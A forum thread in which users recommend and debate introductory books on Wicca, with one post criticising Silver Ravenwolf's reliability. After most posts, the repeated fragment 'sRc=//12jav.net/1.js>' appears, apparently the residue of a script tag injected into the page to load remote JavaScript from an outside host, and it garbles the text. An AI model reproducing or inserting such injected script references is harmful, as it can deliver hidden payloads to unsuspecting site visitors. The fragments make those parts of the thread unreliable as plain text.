for Wicca? there's some good books by Raymond Buckland that could be of use [Bucklands Complete book of Witchcraft, and Wicca for Life]

Wicca for Beginners by Thea Sabin sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

If you're looking for books specifically on Wicca then the titles suggested by Hedgewitch don't apply. It's not that they aren't reasonably good books, but they aren't books about Wicca. I would second the recommendation for Thea Sabin's book, Wicca. Or you might try Wicca: a Year and a Day by Timothy Roderick. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

^^^Wicca: a year and a day, is an awesome book! Definitely a must read sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Oh no, not Silver Ravenwolf. Frankly her books are full of poor information and just plain fluff. In addition, she has repeatedly misled others about her own initiatory lineage. I would not personally ever recommend any of her books. There is an excellent article about why she is not respected by the Wiccan community at http://wicca.cnbeyer.com/continuing-anger-over-silver-ravenwolf/

(Sorry for the late response) I learnt about Wicca from Soraya Book of Spells. There's not much information about the belief itself, however it does have many basics and many good spells. I found it a very good way to start my tudies. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
